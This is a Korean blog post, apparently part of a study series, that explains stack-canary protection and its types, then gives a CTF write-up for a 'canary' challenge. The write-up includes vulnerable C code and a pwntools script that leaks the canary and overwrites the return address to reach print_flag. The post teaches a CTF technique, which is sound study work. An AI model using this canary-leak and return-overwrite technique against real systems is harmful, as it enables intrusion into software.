What is Canary
canary 는 광부들이 광산에 들어갈 때 카나리아라는 새를 데리고 내려간 것에 유래 해서 이름이 지어졌다.
카니리아는 환경에 민감하기 때문에 광산에서 나오는 유독 가스들에 민감하게 반응했고 이를 이용해 광부들은 안전하게 일할 수 있엇다.
보호기법으로서의 Canary 도 이와 비슷하다.
Canary 는 buffer 와 SFP 사이에 삽입이 된다.
BOF 가 발생하면 Canary 값이 손상되고, Canary 데이터의 검증에 실패하여 오버플로우에 의한 공격을 방어할 수 있다.
Canary의 종류
Terminator Canary
Canary의 값을 문자열의 끝을 나타내는 문자들을 이용해 생성한다.
예를 들어 NULL(0x00), CR(0x0d), LF(0x0a) 및 EOF(0xff) 로 구성한다.
CR, LF 등은 Carriage Return, Line Feed 로 타자기에서 온 유물이다
Random Canary
Canary의 값을 랜덤하게 생성한다.
일반적으로 익스플로잇으로 Canary를 읽는 것은 논리적으로 불가능하다.
Random Canary 는 프로그램 초기 설정 시에 전역 변수에 Canary 값이 저장된다.
이 값은 보통 매핑되지 않은 페이지에 저장한다고 한다.
따라서 해당 메모리를 읽으려는 시도를 할 경우 seg fault 가 발생한다.
공격자가 Canary 가 위치한 Stack 주소를 알거느 스택의 값을 읽어 올 수 있는 경우 Canary 값을 확인할 수 있다.
Random XOR Canary
Canary의 값을 모든 제어 데이터 또는 일부를 사용해 XOR-scramble 하여 생성한다.
이 방식은 Canary 값, 제어 데이터 가 오염되면 Canary의 값이 달라진다.
Random XOR Canary 는 Random Canary 와 동일한 취약점을 가지고 있다.
Canary 값을 Stack 에서 읽어오는 방법이 조금 더 복잡하다.
공격자는 Canary 를 다시 인코딩 하기 위해 Original Canary 값, 알고리즘 ,제어 데이터가 필요하다.
종류가 다양하게 있지만 Terminator Canary 는 많이 봤는데 나머지는 본적이 없다…
Leak The Canary
Canary 를 우회하는 방법 중 하나로
Canary와 buffer의 경계에는 문자열의 끝을 나타내는 바이트가 있는데 이 바이트를 덮어 버리면 문자열의 끝으로 인식하지 못해서 Canary 까지 출력할 수 있게 된다.
문제를 통해서 확인해보자 .
sschall.xyz 의 canary 문제이다.
int main() {
setup_environment();
char input[0x48] = { '\0' };
printf("[+] Y0u kn0w c4n4ry?\n");
printf("> ");
read(0, input, 0x49);
printf("[+] H0...? [%s] 1 c4n't und3rst4nd\n", input);
printf("[+] C4n y0u t3ll m3 4g41n?\n");
printf("> "); read(0, input, 0x70);
printf("[+] H0...? 1 st1ll d0n't und3rst4nd\n");
printf("[+] By3 By3\n");
return 0;
}
input 은 0x48 인데 입력은 0x49 만큼 입력할 수 있다.
0x49 만큼 입력해보면
입력한 것 뒤에 이상한 값이 출력됨을 알 수 있다.
그 값을 받아오면 카나리임을 알 수 있다.
from pwn import *
ip = "211.22.---"
port = 33015
REMOTE = 1
if REMOTE:
p = remote(ip, port)
else:
p = process("./canary")
elf = ELF("./canary")
A = b'a'*0x48 + b'b'
p.send(A)
p.recvuntil("b")
canary = u64(b'\x00'+p.recvn(7))
print(hex(canary))
payload = b''
payload += b'a'*0x48
payload += p64(canary)
payload += p64(0)
payload += p64(elf.symbols['print_flag'])
p.send(payload)
p.interactive()
실행하면 플래그가 나온다.
More Detail
함수 프롤로그 부분의 아랫쪽에 이싿.
카나리가 삽입되는 부분이다.
fs 에 있는 tls 영역의 마스터 카나리를 확인해보면 위와 같은 값이 있음을 알 수 있다.
이후에 rbp-0x8 에 삽입되는 카나리 값을 보면 동일한 카나리 값임을 알 수 있다.
다음은 카나리 검증 과정이다
함수의 에필로그 부분이다.
스택에 있는 값과 tls 영역에 있는 값을 가져와서 같은지 비교한다.
같으면 __stack_chk_fail 을 호출하지 않고
다름면 __stack_chk_fail 을 호출해서 Stack Smash 에러를 출력한다.
또 다른 카나리 우회 방법으로는
브루트포싱, 마스터카나리 가 있는데 좀 조건을 타기 때문에 자세하게 다루지는 않겠다.
브루트 포싱의 경우 : fork() 로 자식 쓰레드를 만들어줄 경우 가능하고
마스터카나리의 경우에도 쓰레드를 쓰는 황경에서만 tls영역에 가까이 스택이 생길 때 bof 로 변조할 수 있다.
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 8,10 공유 라이브러리 & Lazy Binding & Now Binding (0) | 2023.09.20 |
---|---|
[TOOR] 7. Lazy Binding & Now Binding (0) | 2023.09.20 |
[TOOR] 5.4. shell_basic write_up (0) | 2023.09.19 |
[TOOR] 5.3. Shell Code (0) | 2023.09.19 |
[TOOR] 5.2 NXbit (0) | 2023.09.19 |